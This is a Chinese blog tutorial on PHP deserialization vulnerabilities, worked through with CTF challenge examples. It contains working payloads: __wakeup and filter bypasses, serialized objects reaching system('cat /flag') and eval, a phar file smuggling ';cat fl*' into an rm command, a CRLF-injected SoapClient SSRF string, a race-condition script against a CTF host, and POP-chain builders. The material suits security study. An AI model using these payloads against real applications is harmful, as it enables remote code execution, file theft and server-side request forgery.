惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Google DeepMind News
Google DeepMind News
博客园_首页
H
Help Net Security
T
Tailwind CSS Blog
S
SegmentFault 最新的问题
GbyAI
GbyAI
Scott Helme
Scott Helme
D
Docker
Hacker News: Ask HN
Hacker News: Ask HN
P
Privacy & Cybersecurity Law Blog
Jina AI
Jina AI
雷峰网
雷峰网
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Spread Privacy
Spread Privacy
G
GRAHAM CLULEY
C
Cisco Blogs
The Hacker News
The Hacker News
F
Full Disclosure
Y
Y Combinator Blog
Blog — PlanetScale
Blog — PlanetScale
Recent Announcements
Recent Announcements
G
Google Developers Blog
量子位
K
Kaspersky official blog
Cisco Talos Blog
Cisco Talos Blog
The Cloudflare Blog
A
About on SuperTechFans
C
Cybersecurity and Infrastructure Security Agency CISA
Last Week in AI
Last Week in AI
博客园 - 三生石上(FineUI控件)
Microsoft Security Blog
Microsoft Security Blog
Martin Fowler
Martin Fowler
T
Tenable Blog
P
Palo Alto Networks Blog
H
Heimdal Security Blog
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
W
WeLiveSecurity
Schneier on Security
Schneier on Security
The Register - Security
The Register - Security
F
Fortinet All Blogs
Stack Overflow Blog
Stack Overflow Blog
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
T
The Blog of Author Tim Ferriss
N
News and Events Feed by Topic
Hugging Face - Blog
Hugging Face - Blog
小众软件
小众软件
V
V2EX
爱范儿
爱范儿

Hi, I Am I

[I Am I 年度简报] — 不知终日梦为鱼 初探 ESP32-CAM QQ 聊天记录 MHT 文件转 HTML [I Am I 年度简报] - 草木本无意,荣枯自有时。 Hexo 中实现 Live Photos 支持 写在当下 NKCTF 2024 1z_F0r3ns1c5 Writeup 春秋杯冬季赛 2023 Writeup [I Am I 年度简报] - 2023 某内网渗透内部赛 Writeup 强网拟态 2023 Writeup Github Actions 自动化部署 Hexo 浅析CobaltStrike流量解密 陇剑杯 2023 Writeup CTF线下赛AWDP总结 ISCC 2023 Writeup ISCC 2023 实战题 Writeup CISCN 2023 Writeup 福建闽盾杯网络空间安全大赛 2023 Writeup 天一永安杯宁波市网络安全大赛 2023 Writeup 贵阳大数据及网络安全精英对抗赛 2023 Writeup 红明谷杯 2023 Writeup Confetti 带来有仪式感的鼓励 记一次 JS 逆向密码加密 [I Am I 年度简报] – 2022 PHP 读取 Excel 文件内容并写入数据库 从0开始的 MoeCTF 开发之路 观安杯 2022 Writeup 利用微信服务号实现早安自动化 Cloudflare批量拉黑IP脚本 蓝帽杯 2022 Writeup 为你的网站添加 Do you like me 小组件 ISCC 2022 Writeup CISCN 2022 Writeup ISCC 2022 实战题 Writeup CTF线下赛AWD攻防总结 [I Am I 年度简报] – 2021 记一次 CNVD 通用型漏洞证书挖掘 Google Adsense 收款流程 使用 Digispark 开发板制作 BadUSB 在 Vue 中使用 Axios 获取钉钉群直播回放的 M3U8 地址 Flask 框架学习记录 关于 Ten·API 防火墙的配置 关于最近 关于 Burp Suite 调教这档事 ISCC 2021 Writeup 记一次 CTF 环境和动态独立靶机部署 各大平台图集解析思路 情话总雷同,恨意千万种 HackThisSite Basic Writeup [I Am I 年度简报] - 2020 Kali 设置中文语言和更换镜像源 使用 Python 下载哔哩哔哩视频 PHP使用 CURL 发送网络请求 PHP蓝奏云直链解析源码 从0开始写一个短视频去水印接口 Windows+Ubuntu 双系统之美化 GRUB Windows+Ubuntu 双系统安装 树莓派安装 Aria2 实现24小时不间断的下载机 抖音无水印解析最新PHP源码 API-Admin Ten·API管理后台 树莓派安装 DLNA 实现流媒体服务器 [I Am I 年度简报] - 2019 Hello Hexo Goindex 将 Google Drive 打造成网盘 自用博客评论邮件通知美化模板 使用 IFTTT 长久保留 Google Voice 号码 Telegram MTProxy 代理一键安装脚本 三分钟学会搭建我的世界基岩版服务器 PHP跳转QQ聊天窗口源码 推荐几款开源HTML5(Web)框架 谷歌新出浏览器 Chromium 可以直接翻墙 Live2D!为你的网站添加看板娘 为你的网站添加Gittalk评论 网站数据离奇丢失...... Lsky Pro(兰空图床)—又一款单纯的图床程序 LOL明天解封ヾ(◍°∇°◍)ノ゙ 唔~本站受到DDOS攻击 [I Am I 年度简报] – 2018 死肥宅也要谈恋爱之早安晚安自动化 1024,Hello,world! 宝塔面板 Bt.cn 专业版破解教程 Uptime >>16 years 震惊!坐在家里竟然可以日入百万 免费获取一年的 .ooo 域名 PHP 调用 新浪API 生成短网址 思杰马克丁成 Adobe 中国授权经销商 畅言商业广告上线-去除畅言评论广告 使用网易云音乐官方接口解析VIP音乐 PHP获取QQ昵称和头像API 坦白说查发送人QQ新方法(已失效) 日常水一波 通过微博图片地址溯源上传者 WordPress 评论夜间自动改为必须审核 十步叫你如何无损修复硬盘锁(mbr病毒) [I Am I 年度简报] – 2017 密码破解与心理学 网页屏蔽各种按键的代码分享 网络安全技术专业术语
浅谈PHP反序列化漏洞
2023-01-12 · via Hi, I Am I

写在前面

PHP是一门 面向对象 编程的语言,对象是PHP中非常常见的概念,几乎所有的数据类型都可以作为对象来处理。 在PHP中,对象是一种复合数据类型,也称为 实例。对象的定义和创建通常包括两个步骤:定义类创建对象

// 定义类
class ClassName {
// 这里是类的属性和方法定义
}

// 创建对象
$obj = new ClassName()

在PHP中,可以通过序列化(serialize)和反序列化(unserialize)来保存和恢复对象。序列化是将对象转换为一种可以存储或传输的格式,反序列化则是将数据转换回对象。

如果反序列化过程中用户对某些参数可控,从而控制内部的变量设置函数,那就可以利用反序列化构造攻击。

serialize()     //将一个对象转换成字符串
unserialize()   //将字符串还原成一个对象

魔术方法

PHP类中有一种特殊函数体的存在叫魔术方法,它的命名是以两个下划线符号 __ 开头的,后面跟着一个字符串,比如 __toString()

__construct()   // 每次创建新对象时先调用此方法
__wakeup()      // 执行unserialize()时,先会调用这个函数
__sleep()       // 执行serialize()时,先会调用这个函数
__destruct()    // 对象被销毁时触发
__call()        // 在对象上下文中调用不可访问的方法时触发
__callStatic()  // 在静态上下文中调用不可访问的方法时触发
__get()         // 用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set()         // 用于将数据写入不可访问的属性
__isset()       // 在不可访问的属性上调用isset()或empty()触发
__unset()       // 在不可访问的属性上使用unset()时触发
__toString()    // 把类当作字符串使用时触发
__invoke()      // 当尝试将对象调用为函数时触发

访问控制符

\x00为空字符,一个空字符长度为 1

public (公有)          // 序列化后格式 属性名
protected (受保护)     // 序列化后格式 \x00*\x00属性名
private (私有)        // 序列化后格式 \x00类名\x00属性名

举个例子

<?php
class info{
    public $name = "iami233";
    protected $age = "18";
    private $sex = "unknown";
}

$test = new info;
echo serialize($test);

如果生成的序列化字符串较长或者包含 protectedprivate 属性,强烈建议使用 urlencode() 编码一下在输出

当版本为 PHP > 7.1 时反序列化对类属性不敏感,将 protected 改成 public 亦可。

O:4:"info":3:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00ctf\x00sex";s:7:"unknown";}
// O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}

反序列化特性

  1. 反序列化的过程就是碰到 ;}与最前面的 { 配对后,便停止反序列化,后面的数据会直接丢弃。
  2. 反序列化的过程会根据 s 所指定的 字符长度 去读取后边的字符。如果指定的长度错误则反序列化就会失败。
  3. 类中不存在的属性也会进行反序列化。

bypass

wakeup绕过

PHP5 < 5.6.25PHP7 < 7.0.10

CVE-2016-7124 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行,

O:4:"info":3:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00ctf\x00sex";s:7:"unknown";}

原本 info 的对象属性个数为 3 ,我们直接改为 4 即可绕过 __wakeup

O:4:"info":4:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00ctf\x00sex";s:7:"unknown";}

16进制绕过

<?php

class Test {
    public $username;
    
    public function __construct() {
        $this->username = 'admin';
    }

    public function __destruct() {
        if ($this->username == 'admin') {
            echo 'Success';
        }
    }
}

function filter($data){
    if (preg_match('/username/', $data)) {
        die("nonono!!!</br>");
    }
    
    return unserialize($data);
}

filter($_GET['data']);

序列化字符串中过滤了一些字符串,可以使用十六进制绕过

O:4:"Test":1:{s:8:"username";s:5:"admin";}

字符类型的 s 大写时,会被当成 16 进制解析,\75u 的16进制,

O:4:"Test":1:{S:8:"\75sername";s:5:"admin";}

绕过正则表达式

<?php

class Test {
    public $username;

    public function __construct() {
        $this->username = 'admin';
    }

    public function __destruct() {
        if ($this->username == 'admin') {
            echo 'Success';
        }
    }
}

function filter($data) {
    if (preg_match('/^O:\d+:/', $data)) {
        die('Invalid input!');
    }

    return unserialize($data);
}

filter($_GET['data']);

像这种,我们正常生成序列化后的数据如下所示

O:4:"Test":1:{s:8:"username";s:5:"admin";}

如果进行传参的话,filter() 不允许 O:[数字] 开头,这种情况下,我们可以利用以下的方法进行绕过

  • 利用加号绕过(注意在url里传参时+要编码为%2B)
  • 利用数组对象绕过,如 serialize(array($a)); a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的 $a 的析构)
// 加号绕过
O:+4:"Test":1:{s:8:"username";s:5:"admin";}
// 数组绕过
// echo serialize(array(new Test()));
a:1:{i:0;O:4:"Test":1:{s:8:"username";s:5:"admin";}}

引用绕过

<?php

class test {
    public $a;
    public $b;

    public function __destruct(){
        $this->a = uniqid();
        if ($this->a === $this->b) {
            echo 'Success';
        }
    }
}
unserialize($_GET['data']);

像这种,我们直接通过引用变量的方式进行绕过即可

$this->b = &$this->a;
// O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}

绕过异常 throw new Error()

throw 的作用会阻断 __destruct() 的执行,例题可以参考 贵阳大数据及网络安全精英对抗赛 2023 POP 一题

参考:fast destruct 提前触发魔术方法

本质上,fast destruct 是因为 unserialize 过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的 __destruct(), 提前触发反序列化链条。

O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:9:"cat /flag";}}s:1:"c";N;}

去掉序列化尾部 }

O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:9:"cat /flag";}}s:1:"c";N

[极客大挑战 2019] PHP

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
    // 在创建对象时候初始化对象,一般用于对变量赋初值。
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
    // 反序列化恢复对象之前调用该方法
        $this->username = 'guest';
    }
    function __destruct(){
    // 当对象所在函数调用完毕后执行
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

代码逻辑就是如果密码等于 100 同时用户名等于 admin ,执行 __construct 的时候输出 flag。 直接构建反序列化

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$flag = new Name('admin', 100);
echo serialize($flag);

// O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

就目前来看我们已经把 __construct__destruct 绕过去了,但是 __wakeup 会把我们的 username 重新赋值为 guest ,我们直接用上面提到的 __wakeup 绕过方法,把 "Name":2 改为 "Name":3

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但我们这里访问控制是私有 Private ,所以我们需要在类名和成员名之前加上 %00 ,达到绕过目的。

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

Session 反序列化

PHP在 session 存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化

php.ini 中通常存在以下配置项:

  • session.save_path 设置session的存储路径
  • session.save_handler 设定用户自定义存储函数
  • session.auto_start 指定会话模块是否在请求开始时启动一个会话
  • session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用 php

存储引擎

不同的引擎所对应的 session 的存储方式不相同。

<?php
ini_set('session.serialize_handler', 'php');
// ini_set("session.serialize_handler", "php_serialize");
// ini_set("session.serialize_handler", "php_binary");

session_start();
$_SESSION['name'] = 'iami233';
var_dump($_SESSION);
引擎存储方式示例
php键名 + 竖线 + 经过 serialize() 函数序列化处理的值`name
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值names:7:"iami233";
php_serialize经过 serialize() 函数序列化处理的数组a:1:{s:4:"name";s:7:"iami233";}

举个例子

我们新建一个 1.php 文件,使用 php_serialize 引擎

<?php
ini_set("session.serialize_handler", "php_serialize");

session_start();
$_SESSION['name'] = '|O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}';

访问 localhost/1.php 后生成的 session 文件内容文件为:

a:1:{s:4:"name";s:44:"|O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}";}

php 序列化引擎以 | 作为 keyvalue 的分隔符,只反序列化 | 后面的内容 所以我们需要在前面加个 |,这样 a:1:{s:4:"name";s:44:" 被当做了 key ,而 O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}";} 被当做了 value

再新建一个 2.php 文件,不声明引擎的话,默认是 php

<?php
session_start();
class Name {
    public $rce; 
    function __destruct() {
         eval($this->rce);
    }
}
?>

此时访问 localhost/2.php 即可执行 phpinfo() 函数

原生类 反序列化

比较常见的为 SoapClient() 类,不过这里也记录一下其他见过的原生类

Error/Exception XSS

Error 类是在 php7 下存在的一个内置类,是所有PHP内部错误类的基类。Error 类中存在 __toString(),当把对象当成字符串的时候它就会自动调用这个方法,而它会将 Error 以字符串的形式表达出来

<?php
$a = serialize(new Exception("<script>alert(1)</script>"));
echo $a;

Tips: Exception 原理一致,但其在 php5 中也能使用

SplFileObject 读文件

<?php
$a = new SplFileObject("flag.txt");
echo $a;

Tips:SplFileObject 读取文件内容时是按行读取的,如果要读多行需要遍历,或者也可以通过 php://filter/ 协议 Base64 编码后输出。

DirectoryIterator 遍历目录

<?php
$a = new DirectoryIterator(".");
foreach ($a as $b) {
    echo $b->getFilename() . "\n";
}

FilesystemIterator 遍历目录

<?php
$a = new FilesystemIterator(".");
foreach ($a as $b) {
    echo $b->getFilename() . "\n";
}

SoapClient SSRF

  1. 需要有 soap 扩展,需要手动开启该扩展。
  2. 需要调用一个不存在的方法触发其 __call() 函数。
  3. 仅限于 http / https 协议

利用原生类 SoapClient 实现 SSRF ,构造 SoapClient 的类对象,需要有两个参数,字符串 $wsdl 和数组 $options,详见 PHP: SoapClient

public __construct(?string $wsdl, array $options = [])

options 传入我们要构造的请求头, urilocation 必须设置

[CTF Show Web入门] Web259

<?php
highlight_file(__FILE__);

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

调用了一个不存在的函数 getFlag() 会去调用 __call 魔术方法, __call 会发送一个请求,我们可以本地通过 nc 监听端口搭配 PHPStudy 来构造调试,发现 ua 头可以注入。

注意的点:

  1. iparray_pop 两次以 , 分割
  2. token=ctfshow 长度为 13 且为 POST 提交
  3. 请求头之间的参数用 \r\n 分隔
  4. 请求头与请求体之间用 \r\n\r\n 分隔
<?php
$client = new SoapClient(null, array(
    'location' => "http://127.0.0.1/flag.php",
    'user_agent' => "test\r\nX-Forwarded-For:127.0.0.1,1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow",
    'uri' => "http://127.0.0.1/",
));

echo urlencode(serialize($client));

发送 payload 后访问 flag.txt 即可

?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A119%3A%22test%0D%0AX-Forwarded-For%3A127.0.0.1%2C1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

Phar 反序列化

Pharphp 压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与 file://php:// 等伪协议类似,也是一种流包装器。

Phar 文件存储的 meta-data 信息以 序列化 方式存储,当文件操作函数通过 phar:// 伪协议解析 Phar 文件时就会将数据反序列化。

要想使用 Phar 类里的方法,必须将 php.ini 文件中的 phar.readonly 配置项配置为 0Off(默认为 On

这里提供一个 phar 包生成代码,phar 文件是很容易绕过上传限制的,首先它的后缀是不限制的,无论改成什么 phar:// 协议都可以解析,其次 xxx<?phpxxx; __HALT_COMPILER();?> 前面内容不限,这样可以在前面添加 GIF98a 这样的文件头绕过上传限制。

//实例一个phar对象供后续操作
$phar = new Phar('test.phar');

//开始缓冲Phar写操作 
$phar->startBuffering();

//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//以字符串的形式添加一个文件到 phar 档案 
$phar->addFromString('test.php','<?php echo 'this is test file';');

//把一个fileTophar目录下的文件归档到phar档案
$phar->buildFromDirectory('fileTophar');

//该函数解压一个phar包,extractTo()提取phar文档内容
$phar->extractTo();

当环境限制了phar不能开头,可以使用以下伪协议绕过

compress.bzip2://phar://test.phar/test.txt
compress.zlib://phar://test.phar/test.txt
php://filter/resource=phar://test.phar/test.txt

[CTFShow Web入门] Web276

<?php
highlight_file(__FILE__);
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;
    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}
if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

this->admin 需要为 ture,但是没有能控制的点。

发现可以通过 file_put_contents 写 phar 文件,然后题目中 file_put_contents 第一个参数可控,那么我们可以使用 phar:// 协议,通过 $content 传入 phar 数据,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data 部分进行反序列化

<?php
class filter 
{
    public $filename = ';cat fl*';
    public $evilfile = true;
    public $admin = true;
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

条件竞争

import requests
import time
import threading
success=False
#读取phar包内容
def getPhar(phar):
    with open(phar,'rb') as p:
        return p.read()
#写入phar包内容
def writePhar(url,data):
    print("[-]writing")
    requests.post(url,data)
#触发unlink的phar反序列化
def unlinkPhar(url,data):
    global success
    res = requests.post(url,data)
    if 'ctfshow' in res.text and success is False:
        print("[*]Over!")
        print(res.text)
        success = True
def main():
    global success
    url= 'http://c71e4a00-e45a-44d8-a9a0-7791b43e4bf8.challenge.ctf.show/'
    phar = getPhar('phar.phar')
    while success is False:
        time.sleep(.5)
        w= threading.Thread(target=writePhar,args=(url+'?fn=phar.phar',phar))
        u= threading.Thread(target=unlinkPhar,args=(url+'?fn=phar://phar.phar/test','1'))
        w.start()
        u.start()
if __name__ == '__main__':
    main()

除了 file_put_contents 外,会把 phar 反序列化的函数还有:

受影响的函数列表
filenamefilectimefile_existsfile_get_contents
file_put_contentsfilefilegroupfopen
fileinodefilemtimefileownerfileperms
is_diris_executableis_fileis_link
is_readableis_writableis_writeableparse_ini_file
copyunlinkstatreadfile

字符串逃逸

如果当开发者先将对象 序列化 ,然后将对象中的字符进行 过滤 ,最后再进行 反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。

字符串逃逸基本就是两种情况,字符变多or字符变少,总之本地多调试吧…

字符变多

  1. 看过滤,判断字符变多还是字符变少,计算变化个数
  2. 一个字符,构造过滤字符的个数为构造的字符长度
  3. n个字符,构造过滤字符的个数为构造的字符长度/n

字符变少

  1. 构造想要的值正常序列化,拿到最终的逃逸字符
  2. 逃逸字符前任意字符+双引号闭合,传入要控制的值
  3. 根据需要逃逸的字符串的长度,传入对应的过滤字符

字符变多

<?php
include('flag.php');
function filter($s) {
    return str_replace('admin', 'hacker', $s);
}

class ctf{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this -> username = $username;
        $this -> password = $password;
    }
    public function __wakeup(){
        if($this -> password == '88888888') {
            echo $flag;
            die;
        }
        echo 'Fake admin';
    }
}

$u = $_GET['u'];
$p = $_GET['p'];

if (strpos($u, 'admin') !== false){
    $data = new ctf($u, $p);
    unserialize(filter(serialize($data)));
}

这段代码中 $u 必须包含 admin,然后把 admin 替换为 hacker 其次通过判断 password 是否等于 8888888 来判断是否输出 flag

<?php

function filter($s) {
    return str_replace('admin', 'hacker', $s);
}

class ctf{
    public $username;
    public $password = '88888888';
    public function __construct($username){
        $this -> username = $username;
    }
}

$u = 'admin';
$data = new ctf($u);

var_dump(filter(serialize($data)));

先给 username 赋值 admin ,然后把 password 改为 88888888,观察一下返回的数据

O:3:"ctf":2:{s:8:"username";s:5:"hacker";s:8:"password";s:8:"88888888";}

经过替换后 admin 变成了 hacker ,多出来了一个字符,但标记长度没有变化,还是 s:5 ,造成了实际长度大于标记长度的情况,从而反序列化失败。

同时我们发现后面我们需要构造的字符 ";s:8:"password";s:8:"88888888";} 长度为 33 ,由于过滤规则每次替换增加 1 个字符,所以我们需要 33admin

<?php

function filter($s) {
    return str_replace('admin', 'hacker', $s);
}

class ctf{
    public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:8:"88888888";}';
    public $password = '88888888';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串,

O:3:"ctf":2:{s:8:"username";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:8:"88888888";}";s:8:"password";s:8:"88888888";}

我们发现 hacker 正好是 198 个字符,而 password 也变成了我们想要的 88888888

字符变少

简单改一下上题的代码,admin 替换为 hack

<?php
include('flag.php');
function filter($s) {
    return str_replace('admin', 'hack', $s);
}

class ctf{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this -> username = $username;
        $this -> password = $password;
    }
    public function __wakeup(){
        if($this -> password == '88888888') {
            echo $flag;
            die;
        }
        echo 'Fake admin';
    }
}

$u = $_GET['u'];
$p = $_GET['p'];

if (strpos($u, 'admin') !== false){
    $data = new ctf($u, $p);
    unserialize(filter(serialize($data)));
}

思路同上,先输出一下 serialize 后的数据

O:3:"ctf":2:{s:8:"username";s:4:"hack";s:8:"password";s:8:"88888888";}

发现 admin 变成了 hack ,但是标记长度没有变化,还是 s:4 ,造成了实际长度小于标记长度的情况,我们每增加一个 admin 匹配替换后就减少 1 个字符,我们要做的就是让他往后去吞噬一些我们构造的代码,这样就可以构造出我们想要的代码了。

这样是我们想要构造的代码

";s:8:"password";s:8:"88888888";}

我们把它传入 password 中观察返回数据

<?php

function filter($s) {
    return str_replace('admin', 'hack', $s);
}

class ctf{
    public $username = 'admin';
    public $password = '";s:8:"password";s:8:"88888888";}';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串

O:3:"ctf":2:{s:8:"username";s:5:"hack";s:8:"password";s:33:"";s:8:"password";s:8:"88888888";}";}

所以我们需要吞噬的字符如下

";s:8:"password";s:33:"

由于每次匹配替换只会减少一个字符,所以我们需要构造一个长度为 23 的字符串,这样就可以吞噬到我们想要的代码了。

<?php

function filter($s) {
    return str_replace('admin', 'hack', $s);
}

class ctf{
    public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
    public $password = '";s:8:"password";s:8:"88888888";}';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串

O:3:"ctf":2:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:33:"";s:8:"password";s:8:"88888888";}";}

POP链构造

目前在 CTF 竞赛中,基本遇到的 PHP 反序列化题目都是POP链构造。POP 大家可以当成 Misc 中的套娃题,需要多次利用魔法方法实现跳转最后实现恶意的代码,从方法到方法的跳转的精妙构造,最后看起来的效果就像一条链子一样,所以我们叫它 POP链

<?php
highlight_file(__FILE__);

class blue
{
    public $b1;
    public $b2;

    function eval() {
        echo new $this->b1($this->b2);
    }

    public function __invoke()
    {
        $this->b1->blue();
    }
}

class red
{
    public $r1;

    public function __destruct()
    {
        echo $this->r1 . '0xff0000';
    }

    public function execute()
    {
        ($this->r1)();
    }

    public function __call($a, $b)
    {
        echo $this->r1->getFlag();
    }

}

class white
{
    public $w;

    public function __toString()
    {
        $this->w->execute();
        return 'hello';
    }
}
class color
{
    public $c1;

    public function execute()
    {
        ($this->c1)();
    }

    public function getFlag()
    {
        echo file_get_contents($this->c1);
    }

}

unserialize($_POST['cmd']);

大家在做 POP链 构造题目时,可以找到前面的常见魔术方法,进行一一对应,同时建议手动写出整个链条的构造,如下所示:

unserialize()->red->__destruct()->white->__toString()->color->run()->blue->__invoke()->red->__call()->color->get_flag()->file_get_contents()

unserialize() 会去调用 red 类的 __destruct() 方法,由于方法中的 echo $this->r1 . '0xff0000'; 把这个对象当成了字符串,所以调用了 white 类的 __toString() 方法,然后再调用 color 类里的 execute() 方法,然后在 execute() 方法里把这个对象当成了方法使用,所以就去调用了 blue 类的 __invoke() 方法,又因为在 __invoke() 方法里再次调用了一个不存在的 blue 方法,接着就会去调用 red 类里的 __call 方法,最后去调用 color 类里的 getFlag() 方法,然后我们根据 POP链 开始构造代码

<?php

class blue
{
    public $b1;
    public $b2;
}

class red
{
    public $r1;
}

class white
{
    public $w;
}
class color
{
    public $c1;

}

$f = new red();
$f -> r1 = new white();
$f -> r1 -> w = new color();
$f -> r1 -> w -> c1 = new blue();
$f -> r1 -> w  -> c1 -> b1 = new red();
$f -> r1 -> w  -> c1 -> b1 -> r1 = new color();
$f -> r1 -> w  -> c1 -> b1 -> r1 -> c1 = 'flag.php';
echo "\n";
echo(urlencode(serialize($f)));
echo "\n";
// O%3A3%3A%22red%22%3A1%3A%7Bs%3A2%3A%22r1%22%3BO%3A5%3A%22white%22%3A1%3A%7Bs%3A1%3A%22w%22%3BO%3A5%3A%22color%22%3A1%3A%7Bs%3A2%3A%22c1%22%3BO%3A4%3A%22blue%22%3A2%3A%7Bs%3A2%3A%22b1%22%3BO%3A3%3A%22red%22%3A1%3A%7Bs%3A2%3A%22r1%22%3BO%3A5%3A%22color%22%3A1%3A%7Bs%3A2%3A%22c1%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7Ds%3A2%3A%22b2%22%3BN%3B%7D%7D%7D%7D

写在后面

这篇文章从去年七月底就开始写了,因为参加比赛/攻防演练耽误了好长时间,导致思路断断续续…陆陆续续想起来就总结一下2333,文章提到的都很浅薄,总之多练习